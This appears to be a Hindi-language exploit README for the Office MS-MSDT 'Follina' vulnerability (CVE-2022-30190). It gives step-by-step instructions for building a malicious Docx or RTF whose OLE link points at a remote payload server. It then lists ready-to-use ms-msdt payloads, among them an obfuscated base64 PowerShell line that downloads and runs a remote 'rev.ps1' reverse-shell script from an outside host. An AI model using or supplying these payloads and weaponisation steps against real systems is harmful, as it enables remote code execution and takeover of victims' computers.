MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina एक क्लिक

1. एक Docx फ़ाइल बनाएं।
2. Docx फ़ाइल में, सम्मिलित करें > ऑब्जेक्ट > बिटमैप इमेज > ठीक पर क्लिक करें।
3. खुलने वाले Paint एप्लिकेशन में, Paint फ़ाइल को सहेजें।
4. अपनी Docx फ़ाइल को सहेजें।
5. अपनी फ़ाइल को एक आर्काइव के रूप में खोलें (7Zip के साथ; राइट क्लिक > 7Zip > ओपन आर्काइव)।
6. \Word\ से Document.xml और \word_rels\ से document.xml.rels फ़ाइल को कॉपी करें।
7. \word_rels\Document.xml.rels को खोलें/संपादित करें और "/relationships/oleObject" के साथ संबंध XML टैग का पता लगाएं। इसके बाद "Target=" में गंतव्य को अपने दूरस्थ गंतव्य से बदलें जहाँ से यह पेलोड प्राप्त करेगा। साथ ही XML टैग में "TargetMode="External"" जोड़ें।
8. वापस Docx फ़ाइल में संपीड़ित करें (भेजें > संपीड़ित (ज़िप्ड) फ़ोल्डर | फ़ाइल प्रकार को zip से docx/doc में नाम बदलें)

RTF फ़ाइल प्रकार

एक बार docx को नीचे दिए गए पैरामीटर चरण/पैरामीटर का उपयोग करके सहेजा गया। Docx को RTF के रूप में सहेजें।

यदि आप इन तत्वों को <o:OLEObject> एलिमेंट के अंतर्गत word/document.xml में जोड़ते हैं:

<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

पुनः संपीड़न की प्रक्रिया JohnHammond के Python Script से भी देखी जा सकती है:
~ पुनः मूल ऑफिस फ़ाइल बनाएं ~

shutil.make_archive(args.output, "zip", doc_path)  
os.rename(args.output + ".zip", args.output)  

संदर्भ: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py

पेलोड्स

बुनियादी कैल्क निष्पादन:

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

Start-Process('calc') को इससे बदल सकते हैं:

IEX('calc.exe')

SMB शेयर निष्पादन:

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>

PS1 फ़ाइल लोड:

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>  

डिकोडेड: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))

Apache2 access.log फ़ाइल खोलने पर कनेक्शन दिखाना चाहिए